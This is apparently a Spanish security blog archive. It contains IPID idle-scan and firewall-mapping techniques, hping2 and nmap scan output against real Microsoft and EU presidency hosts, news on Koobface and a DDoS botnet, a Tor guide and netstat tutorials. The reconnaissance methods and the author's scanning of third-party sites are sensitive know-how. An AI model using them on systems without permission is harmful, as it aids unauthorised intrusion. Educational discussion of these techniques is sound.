Análisis de tráfico -- Los números de IPID secuenciales exponen el número de paquetes enviados por un host sobre un cierto período. Esto puede ser usado para estimar el tráfico de un sitio web, determinar cuando se loggea la gente, etc.
Detección de alias de hosts -- Muchas veces un host tendrá múltiples direcciones de IP o varias interfaces ethernet. Casi siempre se puede determinar cuáles direcciones pertenecen a un cierto host buscando números de secuencia de IPID similares.

Demultiplexación de equilibrio de Carga ("load balancing") -- ésta es casi la técnica inversa a la previa. Grandes sitios suelen utilizar equipo de equilibrio de carga para que una sóla dirección mapee a una pequeña granja de servidores. Teniendo en cuenta los valores de IPID, se puede, usualmente, determinar cuántas máquinas están detrás del equipo y a cuál estamos conectados. Por ejemplo, los campos "id' en la siguiente ejecución de hping2 ponen en obvia evidencia que beta.search.microsoft.com es manejada por dos máquinas detrás del equipo de equilibrio de carga (207.46.197.115).

# hing2 -c 10 -i 1 -p 80 -S beta.search.microsoft.com.
HPING beta.search.microsoft.com. (eth0 207.46.197.115): S set, 40 headers + 0 data bytes
46 bytes from 207.46.197.115: flags=SA seq=0 ttl=56 id=57645 win=16616 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=1 ttl=56 id=57650 win=16616 rtt=21.4 ms
46 bytes from 207.46.197.115: flags=RA seq=2 ttl=56 id=18574 win=0 rtt=21.3 ms
46 bytes from 207.46.197.115: flags=RA seq=3 ttl=56 id=18587 win=0 rtt=21.1 ms
46 bytes from 207.46.197.115: flags=RA seq=4 ttl=56 id=18588 win=0 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=5 ttl=56 id=57741 win=16616 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=RA seq=6 ttl=56 id=18589 win=0 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=7 ttl=56 id=57742 win=16616 rtt=21.7 ms
46 bytes from 207.46.197.115: flags=SA seq=8 ttl=56 id=57743 win=16616 rtt=21.6 ms
46 bytes from 207.46.197.115: flags=SA seq=9 ttl=56 id=57744 win=16616 rtt=21.3 ms
--- beta.search.microsoft.com. hping statistic ---
10 packets tramitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 21.1/21.3/21.7 ms

Detección de sistemas operativos -- Como se discutió anteriormente, los sistemas operativos difieren salvajamente en la manera en la que generan los números de IPID. Nmap utiliza esta información para ayudar a determinar qué versión de sistema operativo se está usando. Más detalles de esta técnica aquí.
Detección de reglas de firewall -- El valor de IPID puede ayudar a mapear las reglas de firewall. Este es un ejemplo simple:
1. Observamos la IPID de la máquina destino detrás del firewall.
2. Enviamos un paquete de ping "desde" un host detrás del firewall hacia el mismo destino.
3. Observamos la IPID nuevamente. Si se incrementó en 2 (uno por la respuesta al ping y otro por la segunda observación de la IPID), nuestro ping engañoso logró pasar. Algo de Tráfico extraño puede interferir, pero volver a probar puede asegurará precisión. Esta técnica puede ser expandida de varias maneras. Podría (y quizás lo haga) escribir un paper completo describiéndolas. Hay que tener en cuenta que todos los pasos anteriores pueden ser realizados con Hping.

Links relacionados

Nmap, que ahora incluye un Idlescan, está disponible en http://nmap.org/
La técnica básica de escaneo por IPID fue inventada por Antirez (Salvatore Sanfilippo). Su home page está en http://www.kyuzz.org/antirez/.
Antirez también desarrolló la excelente herramienta Hping, que es tremendamente útil para pruebas de IPID de bajo nivel.
LiquidK posteó un escáner de IPID como prueba de concepto y le puso el nombre "idlescan" en 1999. Las URLs no funcionan más, pero quizás se puede encontrar su implementación por medio Google o Packetstorm.
Thomas Olofsson escribió y demostró una herramienta de escaneo de IPID en la conferencia "2001 Black Hat Briefings". Su presentación (Powerpoint) está disponible en aquí y le da una buena mirada a la técnica básica. Como mencioné anteriormente en este paper, esta heramienta podría ser preferible a Nmap en casos en los que el host zombie inerte, no es realmente inerte. Desafortunadamante, no tengo una URL que funcione para esta herramienta.

Mr. Bean 'se cuela' en la web oficial de la presidencia española

2010-01-04T22:46:00.003+01:00

me hago eco de la noticia que leo en el mundo sobre el asalto a la web de la presidencia europea, http://www.eu2010.es/es/index.html, de la que actualmente el acceso tampoco es rápido ni carga bien el contenido. Del artículo se deduce que unicamente se ha producido la modificación de la portada, modificandola y dando entrada a Mr Bean, Rowan Atkinson. Ahora en barrapunto , indican que el ataque ha sido mediante XSS , XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.

un toque simpático. Sin hacer un análisis más profundo que el que marca el mismo artículo hemos de tener presente que parece ser encargados del mantenimiento de la web telefonica y telefonica moviles y cobran, supongo que por el mantenimiento y seguridad de la web 11,9 millones de euros, dado que la presidencia es de 6 meses hablamos de 2 millones de euros por mes. Casi nada.
Parece ser que el gobierno todavía no lo reconoce pero en las noticias de las 21'00h ya lo estan dado todas las cadenas. Segun dicen en tv3 es cosa de un único hacker.

Microsoft Windows [Versión 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.

C:\Users\l>nslookup www.eu2010.es
Servidor: sirius.xtec.net
Address: 213.176.161.16

Respuesta no autoritativa:
Nombre: eu2010.es
Address: 195.235.239.6
Aliases: www.eu2010.es

aunque lanzando una petición incorrecta http://www.eu2010.es/es/phpinfo.php nos contesta con El recurso solicitado "/opencms/es/phpinfo.php" no se encontró en el servidor , con lo cual ya se está posicionado en un directorio.

http://www.opencms.org/en/ como bien dicen en su web es un gestor de contenidos basado en :
Java and XML technology. It can be deployed in an open source environment (e.g. Linux, Apache, Tomcat, MySQL) as well as on commercial components (e.g. Windows NT, IIS, BEA Weblogic, Oracle).

y con nmap
root@ies-desktop:/home/ies# nmap -sS -O eu2010.es

Starting Nmap 4.62 ( http://nmap.org ) at 2010-01-04 22:35 CET
Interesting ports on 195.235.239.6:
Not shown: 1621 filtered ports, 88 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
143/tcp open imap
443/tcp open https
Device type: storage-misc
Running (JUST GUESSING) : BlueArc embedded (90%)
Aggressive OS guesses: BlueArc Titan 2100 NAS device (90%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1577.380 seconds

y en la web de http://www.elhacker.net/elhackernet/geolocalizacion.html
netnum: 195.235.232.0 - 195.235.239.255
netname: TDEIC
descr: Telefonica Soluciones
descr: Internet Center Terrasa (NCC#2000059239)
descr: Spain
country: ES
admin-c: ETM4-RIPE
tech-c: ETM4-RIPE
status: ASSIGNED PA
mnt-by: MAINT-AS3352
source: RIPE # Filtered

role: ES TIC MANAGEMENT
address: Telefonica Soluciones
address: Centros de Datos Gestionados
address: Spain
phone: +34 913750908
fax-no: +34 917548739
e-mail: soportetecnico@correodeempresas.telefonica.es
remarks: For security related problems,
remarks: problems relating electronic mail abuse,
remarks: problems relating DNS servers,
remarks: or port scanning related problems:
remarks: soportetecnico@correodeempresas.telefonica.es
admin-c: JPG146-RIPE
tech-c: JPG146-RIPE
nic-hdl: ETM4-RIPE
mnt-by: MAINT-AS3352
source: RIPE # Filtered

localizar una ip

2009-12-27T14:54:00.000+01:00

mirando mediante netstat las conexiones de mi ordenador, a donde está conectado, veo ip's que no puedo identificar al momento y me surge la duda de a adonde está conectado mi ordenador. De la misma manera despues de hacer un wireshark para ver a donde se envian paquetes.

como solución tenemos varios servicios de dado una ip indicar que domino lo tiene comprado. Inclusive hay otros servicios de localizar la ip sobre un plano, como aplicación sobre los mapas de google por ejemplo. Como todo en esta vida no es totalmente fiable pero si que sirve para salir de dudas.

por ejemplo en la web http://ip-address-lookup-v4.com/ tenemos la posibilidad de poner una ip en la casilla y obtener como resultado a quien pertenece.

veo que se trata de una ip de ya.com, con lo cual mi ordenador está haciendo ping ha una ip de un asociado de ya.com seguramente.

Ya finalmente y en la parte inferior, probando con mi ip

obtengo una localización aproximada, en este caso supongo que la central que tenga en Barcelona por que estoy al menos a 20 kilometros de ese punto y fuera de la ciudad de Barcelona.

Otro que me situaba en sentmenat http://www.geobytes.com/IpLocator.htm?GetLocation

Manifiesto en defensa de los derechos fundamentales en internet

2009-12-03T16:34:00.002+01:00

Casa de herrero cuchillo de palo, el hacker de elhacker.net terminará contratado

2009-11-27T08:03:00.000+01:00

Me hago eco de la noticia que aparece en el país con el titula de "Un menor ataca 'webs' en masa por vanidad". Ciertamente la noticia está poco desarrollada tecnicamente y más allá de la via de infección de los ordenadores que parece que posteriormente pasarían a atacar, aprovechando en videos en youtube....., y el tipo de ataque, que tiene pinta que es forzar la denegación de servicios a base de lanzar peticiones, 12 millones según indica. No se acaba de explicar el hecho de que el portal haya estado 3 dias sin servicio a que es debido y si ha habido alguna incidencia más.

en la web de elhacker.net hay puesto el enlace al foro.
indica que la denuncia se inicia por la denuncia del administrador de la web a la Guardia Civil que en su web coloca parte de la siguiente nota.

Las investigaciones se iniciaron tras recibir una denuncia del Administrador de la página web www.elhacker.net en la que manifestaba que su página había quedado anulada durante varios días como consecuencia de un incremento masivo de visitas, muy por encima de lo habitual, y seguramente provocadas con esta intención, lo que se conoce como ataque DDos (Distributed Denial of Service).

Los contenidos de esta página, así como la gran mayoría de las personas que colaboran en ella, programadores y administradores de sistemas, tienen por objeto contribuir a extender sus conocimientos y experiencias en torno a la seguridad de las redes en distintos ámbitos, tanto particulares como empresariales.

De las investigaciones practicadas, se dedujo que una persona que utilizaba en la red el nick “n3ptun0”, había desarrollado un “virus” aprovechándose de los fallos de seguridad en el protocolo UDP (uno de los canales de información en la red), para infectar los PCs.

De esta manera, conseguía dominar los ordenadores de los internautas y así iniciar, cuando él lo decidiese, visitas masivas a las páginas elegidas.

Además de la web cuyo Administrador interpuso la denuncia, la Guardia Civil, pudo constatar ataques en los que se estaba llevando a cabo el mismo procedimiento a otras paginas, fundamentalmente a foros y servidores dedicados al juego denominado San Andreas..

Infección de los ordenadores (Zombies):

El menor colgaba un vídeo en youtube con frases atractivas para captar la atención del internauta, de esta forma conseguía que el usuario se descargarse el contenido y automáticamente resultaba infectado.

Este virus tenía la peculiaridad de poder propagarse por conducto de programas tan extendidos como Messenger, Fotolog, etc.

Una vez infectados con el virus, el menor pasaba a dominar los PCs a su antojo con la intención de realizar visitas a la misma vez, a las páginas que quería atacar, colapsando los servidores de las mismas.

Un ejemplo de ello, fue la página www.elhacker.net, que sufrió en pocos minutos más de doce millones de visitas simultáneas, cuando el promedio ordinario oscilaba en unas cien mil.

Mediante esta operación había conseguido controlar más de 75.000 ordenadores

El presunto autor de estos ataques, un menor de 16 años -que carecía de cualquier instrucción académica en esta especialidad, venía desarrollando sus conocimientos desde los 13 años, de modo absolutamente individual y autodidacta..

El menor fue puesto a disposición de la Fiscalía de Menores de Santa Cruz de Tenerife.

Para más información, pueden ponerse en contacto con la Oficina Periférica de Comunicación (OPC) de la Guardia Civil de Barcelona, teléfono 93 476 60 81 y 93 476 60 91.

________________________________________________________________________________

Y ahora lo siguiente que será, una denuncia que no acabará en nada, quizas multa económica que pagaran los padres, los cuales igual no saben nada de informática.

La parte positiva para este chavalín será que no tardará en ser contratado por una empresa informática como experto en seguridad, tiempo a tiempo.

Servidores más seguros Lugares imprecindibles para protegerse de los posibles ataques

2009-11-24T00:21:00.000+01:00

artículo de idword que viene del año 2002, bueno en fundamentos pero con una actualización necesaria de las webs de referencia. De todas maneras todavía reaprovechable.

Navegación anónima por internet

2009-11-23T20:08:00.002+01:00

Dados los tiempos que corren y las noticias de los numerosos sistemas de adquirir información, llamese Gran Hermano, Sitel o simplemente lo que almacena google sobre nuestra navegación y busquedas, está bien el conocer la posibilidad de realizar una navegación totalmente anónima, o al menos esta es la intención de la presente entrada.

Para ello vamos a utilizar una versión portable del programa Tor, el cual como indica el fichero readme.txt que lo acompaña, su finalidad es garantizar esa navegación anónima por sistemas publicos de internet.

Para su descarga el mismo fichero readme indica http://sourceforge.net/projects/portabletor and http://www.portablefreeware.com.

Escogiendo la opción de ver la red una vez se ha conectado podemos ver todos los retransmisores y el ancho de banda que disponen.

El tener ejecutando dicho programa, tor, abre multiples conexiones como podemos ver con el programa de sysinternal, tcpview, ya comentado en una entrada anterior de este blog, la gran mayoria al puerto destino 9001 y https.

Para realizar la navegación con un navegador, por ejemplo Firefox de manera anónima será necesario provocar la conexión de dicho navegador con la red tor, en este caso indicando al navegador un proxy de conexión, localhost:8118 donde está corriendo el privoxy que como indica la wikipedia : Privoxy es un programa que funciona como proxy web, usado frecuentemente en combinación con Tor y Squid. Tiene capacidades avanzadas de filtrado para proteger la privacidad, modificar el contenido de las páginas web, administrar cookies, controlar accesos y eliminar anuncios, banners, ventanas emergentes y otros elementos indeseados de Internet. Privoxy tiene una configuración muy flexible y puede ser personalizado para adaptarse a las necesidades y gustos individuales. Privoxy es útil tanto para sistemas aislados como para redes multiusuario.

Para realizar esa conexión entre navegador y proxy, en Tools, options, advanced i setting o herramientas, opciones, avanzado y configuración ponemos locahost y 8118

La navegación no es tan rápida, eso es cierto.
Si voy a la web de internautas.org para determinar mi ip obtengo

De tal manera que los servicios, que los servidores o el destino me detecta como una ip de estados unidos, a partir de la cual estoy navegando. No se si el rastro queda totalmente borrado, no se la garantía de esos servicios de Gran Hermano quedan anulados, pero desde luego al menos lo hemos complicado dado que la navegación en estos momentos ya no consta mi ip publica de la red de ya.com, 84.77.xx.xx sino esa ip situada en Estados Unidos.

Finalment una prova de velocitat, i algun preu ha de tenir el navegar d'aquesta manera emmascarada

Manual tor

Para la próxima entrada nos queda la configuración para navegar por redes que estan filtradas los puertos de salida.

uso de nmap, parte I

2009-11-21T21:17:00.000+01:00

Haremos unas cuantas unidades para trabajar nmap como herramienta de scaneo de puertos externa e interna.

Primero ir a la web de nmap y hacer download, en este momento en windows

Despues de instalar y aceptar todos los complementos lo ejecutaremos.

En momentos posteriores explicaremos todas las opciones, escaneamos un par de servidores y ponemos los resultados. Primero scaneamos google.com

de este primer recorte podemos observar que la ip de google.com 209.85.135.104, al menos al ordenador que hemos scaneado le corresponde. El nombre del ordenador es Scanning mu-in-f104.1e100.net (209.85.135.104) [1000 ports] y scanea 1000 tipicos puertos. Del scaneo de puertos determina abiertos dos puertos, el del servidor web (80) y el puerto servidor web seguro o cifrado (443).

Discovered open port 443/tcp on 209.85.135.104

Discovered open port 80/tcp on 209.85.135.104

De hacer la petición de resolución dns sobre http://www.google.com/, indica que ha obtenido 6 ip distintas, y trabaja con la primera.

lo comprueba haciendo la resolución en dos de : nslookup http://www.google.com/

Nombre: www.l.google.com

Addresses: 209.85.135.104, 209.85.135.105, 209.85.135.106, 209.85.135.147

209.85.135.99, 209.85.135.103

El resultado de scanear puertos en detalle ha sido:
PORT STATE SERVICE VERSION

80/tcp open http Google httpd 2.0 (GFE)
robots.txt: has 189 disallowed entries (15 shown)
/search /groups /images /catalogs /catalogues /news
/nwshp /setnewsprefs? /index.html? /? /addurl/image? /pagead/
_ /relpage/ /relcontent /imgres
html-title: Google
_ Requested resource was http://www.google.es/

113/tcp closed auth

443/tcp open ssl/http Google httpd 2.0 (GFE)
html-title: 302 Moved
_ Did not follow redirect to http://www.google.com
robots.txt: has 189 disallowed entries (15 shown)
/search /groups /images /catalogs /catalogues /news
/nwshp /setnewsprefs? /index.html? /? /addurl/image? /pagead/
_ /relpage/ /relcontent /imgres
Que ya habiamos comentado, para ver la configuración del fichero robots.txt se puede hacer la petición web directamente http://www.google.com/robots.txt que podemos repetir en otros servicios web para ver por donde dejar entrar al motor de busqueda y por donde no permitirselo.

El sistema operativo parece ser OpenBSD
Device type: general purpose

Running (JUST GUESSING) : OpenBSD 4.X (90%)

Me ha llamado la atención que el servidor web es http Google httpd 2.0 (GFE). De consultar la wikipedia observo que indica que es el servidor propio de google, Google Web Server (GWS) is the name for the web server software that Google uses for their web infrastructure. De continuar la información indica que se encuentra en la posición sexta de servidores

Finalmente el último resultado corresponde a tracert o en linux traceroute, donde nos indica todos los routers intermedios antes de llegar a destino, en mi caso 13 saltos o routers. Y el servidor parece encontrarse en Franfurt? al menos el penultimo salto lo da en router que parece indicar que está en esa zona. Debería tomar ahora un visualroute para ver que país indica o población.

TRACEROUTE (using port 113/tcp)

HOP RTT ADDRESS
1 10.00 192.168.1.1
2 ... 3 no response
4 50.00 85.63.217.57
5 50.00 ge-4-0-0-0.madcr2.Madrid.opentransit.net (193.251.255.189)
6 60.00 level3-1.GW.opentransit.net (193.251.254.14)
7 90.00 ae-0-11.bar1.Madrid2.Level3.net (4.69.141.45)
8 80.00 ae-5-5.ebr1.Paris1.Level3.net (4.69.141.42)
9 80.00 ae-100-100.ebr2.Paris1.Level3.net (4.69.141.238)
10 80.00 ae-2-2.ebr1.Frankfurt1.Level3.net (4.69.141.234)
11 90.00 ae-91-91.csw4.Frankfurt1.Level3.net (4.69.140.14)
12 110.00 ae-2-79.edge3.Frankfurt1.Level3.net (4.68.23.75)
13 100.00 mu-in-f104.1e100.net (209.85.135.104)

aunque los datos obtenidos por el propio localizador de ip's de google nos lo situa en mountain view en Estados Unidos. (cosa que no me creo siendo el último salto Frankfurt. Comprobarlo vosotros mismos.
http://www.elhacker.net/elhackernet/geolocalizacion.html

gusano Koobface

2009-11-19T01:05:00.001+01:00

El gusano Koobface ataca de nuevo
Y esta vez aprovecha Google Reader para propagarse. El gusano Koobface apareció hace algo más de 1 año y tuvo su gran momento de fama en los medios de prensa como el "virus que infectaba a facebook y las redes sociales". En realidad, no es un virus, y los que se infectan son los equipos de los usuarios, las redes sociales son el medio utilizado para propagarlo.

Una vez que Koobface se instala, tiene la capacidad de enviar mensajes automáticos a todos los contactos de la víctima que se loguea en alguna red social, como Facebook, MySpace, Twitter, etc. Estos mensajes incluyen links maliciosos que generalmente redireccionan a una página falsa de YouTube o simulan ser un video, cuando se los intenta reproducir se inicia la descarga de un codec o actualización de flash falsa. Obviamente este archivo es el gusano que infecta el equipo para seguir propagándose.

Hace unos días la empresa Trend Micro dio a conocer una variante de Koobface que aprovecha las características sociales de Google Reader.

Volviendo a lo del principio, es importante comprender que lo que se infecta no es Google Reader, no es un problema de Google ni nada por el estilo, el que se infecta es el sistema del usuario.

Si eres víctima de Koobface realiza un análisis de todo el sistema con tu antivirus actualizado, también realiza otro análisis con un antivirus online. Por último, cambia las contraseñas de las redes sociales que suelas utilizar.

Fuente de la noticia : http://tecnologia.universia.com.ar/vernota.htm?idxnota=96013&destacada=1&idxcomunidad=0

Si tuviera tiempo ahora debería de buscar información sobre cual es el medio de infección, la vista de facebook o myspace, me parece estraño. Que sea un correo que viene infectado y que como subject tiene el titulillo de facebook o .... es posible.

y como cuentan en la dirección misma de universia

- No responder a correos electrónicos ni seguir links incluidos en emails no solicitados

- Comprobar muy bien que la URL en la que se introducen los datos es la original de Facebook (www.facebook.com), ya que estas webs suelen utilizar URLS similares que apenas se diferencian en una letra o en la terminación del dominio de la verdadera.

Seguridad informática en auge.

2009-11-19T00:52:00.001+01:00

como se ve en la noticia de la La Vanguardia sobre que los paises se estan especianlizando en ciberarmas, no hay que decir más que en la guerra todo vale, que una guerra es todo juego sucio y evidentemente se juega en todos los terrenos. Uno de ellos es atacar a servidores, institucions de tu pais enemigo o entrar en sus sistemas para obtener información. Todo muy peliculero pero real como la vida misma. Eso sí, menos doloroso que tener que utilizar un arma de fuego. Quizas si hablaramos todo sería más fácil. Quizas si pusieramos buena voluntad en intentar entendernos en lugar de machacarnos, pero bueno, no se si se puede ir contra la condición humana.

Copio de la citada web un trozo sobre el comentario de los ataques, parece que principalmente por denegación de servicio.

Los ataques, en forma de "denegación de servicio", se produjeron de forma coordinada el 4 de julio, la fecha que Estados Unidos celebra su independencia, y también afectaron el Departamento del Tesoro, la Bolsa de Nueva York, Nasdaq, Amazon y Yahoo.

Pocos días después, 11 sitios de internet del gobierno surcoreano fueron "apagados" por la misma red de 50.000 ordenadores utilizados para atacar Estados Unidos. Los servicios secretos de Seúl acusaron a Corea del Norte de orquestar el ataque, añadió el informe.

Otro caso señalado por la firma es la avalancha informática que sufrió Georgia de forma paralela al conflicto armado que mantuvo con Rusia por la región de Osetia del Sur en el verano del 2008. En el 2007, otra ex república soviética, Estonia, vio como una avalancha causada por "denegación de servicio" atacaba los sitios de internet de su Gobierno. Los ataques duraron semanas y afectaron a todos los habitantes del país, en muchos casos impidiendo su acceso a cuentas bancarias a través de internet.

Fuente http://www.lavanguardia.es/internet-y-tecnologia/noticias/20091117/53825883166/los-paises-se-equipan-con-ciberarmas-mcafee-estados-unidos-rusia-casa-blanca-washington-nueva-york-e.html

user account control de windows vista y windows 7

2009-11-16T22:47:00.002+01:00

Copiado de la noticia diaria recibida de hispasec.com

Mitos y leyendas: UAC, ese gran incomprendido I (Introducción)
--------------------------------------------------------------

Una de las tecnologías que Microsoft introdujo en Vista, el UAC (User
Account Control), ha sido especialmente criticada y rechazada por la
mayoría de los usuarios. Sin embargo, si se presta un poco de atención,
se puede usar UAC como un gran adelanto en la seguridad y comodidad de
Windows. Microsoft ha dado un paso interesante en la dirección correcta
con UAC, pero los usuarios que se empeñan en usar el administrador no
han sabido valorarlo. UAC es un incomprendido porque en realidad, hay
que entenderlo como una bendición para los que usan una cuenta limitada
en Vista y 7. Un complemento ideal para lo que sigue siendo la mejor
defensa: evitar el uso del administrador.

El qué y el porqué del UAC

Microsoft no tenía ningún control de usuario real para su gama de
escritorio hasta Windows XP. Su introducción supuso un enorme paso
adelante para la seguridad. Utilizar Windows XP en modo usuario estándar
era, por fin, el mejor antídoto contra el malware y todo tipo de
amenazas. Pero de nada sirvió. Por miedo a que los usuarios (después
de años de MS-DOS, 3.11 y 9x) no supieran lidiar con NTFS, permisos,
derechos y privilegios, decidió que usar la cuenta de administrador todo
el tiempo era lo "menos malo". Sacrificaron todas las mejoras que ellos
mismos habían introducido con tal de que se entendiera su flamante
sistema operativo. Los programadores se relajaron entonces, y dieron por
hecho que el usuario debía ser administrador, y no se preocuparon por
comprobar dónde podían escribir, a qué zonas del sistema podían acceder,
etc. De hecho, pocos son los virus que se preocupan hoy en día de si
pueden escribir o no en "system32", zona favorita donde se esconde
la inmensa mayoría del malware actual. Si el usuario no fuese
administrador, esa inmensa mayoría del malware no sería hoy efectiva,
porque no serían capaces de escribir archivos donde presuponen que
pueden.

Así que XP permitía protegerse con el usuario estándar, pero muchos
lo ignoraban y además era incómodo. Microsoft no ofrecía ninguna
herramienta realmente cómoda para que un "loco" que decidiera usar
su Windows como debe ser, desde una cuenta sin privilegios, pudiera
administrar de forma sencilla su equipo. Todo tipo de trabas en los
programas y en la propia interfaz hacía que muchos de los intentos por
migrar hacia un usuario raso fracasaran. Algo había que hacer, y con
la introducción de Vista era el momento adecuado.

Un cambio a medias

Con Vista, Windows podría haber tomado un rumbo radicalmente distinto (y
a la vez, igual a la de cualquier otro sistema operativo): obligar a que
la primera cuenta de usuario creada cuando se instala el sistema (la que
todo el mundo usa habitualmente) fuera de usuario raso. Pero no. Sería
demasiado chocante, así que decidió introducir un paso intermedio, el
UAC. En pocas palabras, se trata de una pantalla de protección contra
las acciones potencialmente peligrosas para el usuario, incluso si eres
el administrador. Técnicamente hablando, es un concepto extraño.

En XP, un usuario que se presenta en el sistema, tiene un token de
seguridad. Este token puede ser básicamente de administrador (puede
hacer lo que quiera) o de usuario estándar (se ve limitado para escribir
en ciertas zonas del sistema, o para realizar ciertos cambios). En Vista
por el contrario, cuando un administrador inicia sesión se le conceden
dos: uno de administrador real y otro de usuario estándar (sí, aunque se
sea administrador). Por defecto, se usa el token de usuario estándar
para arrancar la mayoría de programas, y esto es estupendo desde el
punto de vista de la seguridad. Para realizar las acciones que requieren
elevar privilegios, se usa el token de administrador, y es en este paso
donde interpone el UAC. El usuario es consciente de cuándo se están
realizando acciones peligrosas y debe o bien proporcionar consentimiento
o bien introducir sus credenciales.

O sea, Vista prácticamente obliga al usuario a tener pocos privilegios
aunque pertenezca al grupo de administradores. Pero a muchos usuarios
les gusta ser "poderosos", no les apetece responder constantemente a
preguntas de si realmente quieren o no realizar tal o cual acción, así
que ante la incomodidad terminan por desistir. El usuario echa de menos
al todopoderoso administrador del XP, y por eso UAC ha resultado un
estorbo para la mayoría.

Sin embargo, UAC es una herramienta excelente para quien usa Vista como
usuario estándar. UAC es lo que todo usuario de XP que lo utilizaba con
una cuenta limitada estaba esperando: una forma cómoda de mantener el
sistema protegido.

De cómo configurar UAC de forma útil hablaremos en la siguiente entrega.

Opina sobre esta noticia:
http://www.hispasec.com/unaaldia/4040/comentar

Sergio de los Santos
ssantos@hispasec.com

Manual de netcat

2009-11-16T19:30:00.001+01:00

herramienta tcpview de sysinternals para windows

2009-11-08T02:27:00.000+01:00

Espero no aburrir ni confundir a nadie con las dos entradas anteriores sobre puertos abiertos en windows. Para abreviar un poco hay una herramienta llamada tcpview descargable del link http://live.sysinternals.com/ solo esta herramienta o todo el conjunto de utilidades, muy básicas pero muy prácticas de http://download.sysinternals.com/Files/SysinternalsSuite.zip.

es entretenido el ir viendo como se van viendo y moviendo las conexiones y como van modificando su estado bajo el protocolo tcp/ip de desconexión o conexión con otro servicio.

Ya sería un motivo de preocupación el no saber o reconocer donde está conectado el ordenador o bajo que programa se encuentra conectado al exterior.

conexiones a ordenador remoto al puerto 80 o http significa simplemente que seguramente hay un navegador abierto y este el motivo. Tambien podría ser debido a alguna actualización del sistema operativo o antivirus. Aquí comenzará el análisis y el aprendizaje.

identificar el número de proceso en Administrador de Tareas, Windows

2009-11-08T02:16:00.000+01:00

Siguiendo con el post anterior : 'Ahora nos queda el determinar en la última columna que aparece el número de proceso, a que proceso corresponde. Para ello con la combinación de teclas Crlt+Alt+Supr o con el botón derecho en la barra inferior escoger Administrador de tareas'.

A continuación seleccionar en la pestaña de ver y seleccionar columnas para posteriormente indicar que queremos ver el PID, que significa el identicador de proceso, en este caso numerico.

Ahora cuando miramos en la lista del Administrador de tareas ya vemos los procesos. Esto unido al netstat -ano nos permite identficar el proceso a partir de su numero.

puertos abiertos Linux

2009-11-07T21:59:00.003+01:00

El comando válido para ver los puertos abiertos tanto en Linux como en Windows es netstat pero con diferentes parámetros en ambos casos.

si establezco conexíones con máquinas en la red local o por internet, el comando que me llevará a poder visionar

netstat -anpe | grep tcp

En este caso nos encontramos con 9 columnas. De ellas solo seran de mi interes en este momento 1, 4, 5, 6, 9.

La primera indica que la comunicación es tcp, la cuarta indica las conexiones que tiene establecida mi máquina y en que puerto, la quinta es con quien está conectada mi máquina y en que puerto, la sexta indica el estado de la conexión, ESTABLISHED significa que las máquinas remotas estan conectadas. Finalmente la última columna inica el número de proceso y el proceso que mantiene la conexión.

Si comentamos el resultado de la impresión de pantalla el resultado no indica que hay unas cuentas màquinas conectadas a mi ordenador en su puerto 80, se trata de un servidor web. Que la ip interna de mi servidor es 192.168.0.2. De la misma forma observo 2 conexiones en el puerto 22, puerto de conexión cifrado de openssl, ssh.... Por aquí sería posible el identficar si alguien nos está haciendo tunneling en el servidor.... ya llegaremos.

comprobación de puertos abiertos windowsXP

2009-11-07T18:34:00.000+01:00

Realizaremos un par de pruebas en post distintos para determinar los puertos abiertos. La primera muy simple y que no necesita de ningún programa extra en el sistema operativos en que nos encontramos

Si vamos a Inicio - Ejecutar y escribimos cmd entramos en una pantalla de modo DOS. En ella escribimos netstat -ano
SEGURAMENTE A VOSOTROS NO APARECERAN TANTOS DATOS PERO VAMOS A ANALIZARLOS.

La primera columna indica el tipo de protocolo, tcp o udp. La segunda columna indica el ordenador local, en el que hacemos netstat, la tercera columna con quien estamos estableciendo la comunicación, la cuarta columna el estado de la comunicación y la quinta columna el proceso que realiza dicha conexión. Uff veamos más información.

127.0.0.1 es la maquina en la que uno se encuentra. Hay programas que establecen la comunicación consigo mismo dentro del ordenador de ahí que aparezca la misma ip en las dos columnas, local y remota. Para mi la primera preocupación es determinar las que pone ESTABLISHED, por que significa que la comunicación está establecida en ese momento.

Ahora nos queda el determinar en la última columna que aparece el número de proceso, a que proceso corresponde. Para ello con la combinación de teclas Crlt+Alt+Supr o con el botón derecho en la barra inferior escoger Administrador de tareas.

Nada que no me deja seguir añadiendo imagenes. Cierro este post y continuo con el siguiente en el punto que lo dejé.

Antes de nada, el paso que iba a explicar estaba relacionado con asociar el proceso con su número identificador, pero hay quien prefiere la opción netstat -anb donde la 'b' ya responde con la ruta de donde está el proceso que ejecuta aquella conexión.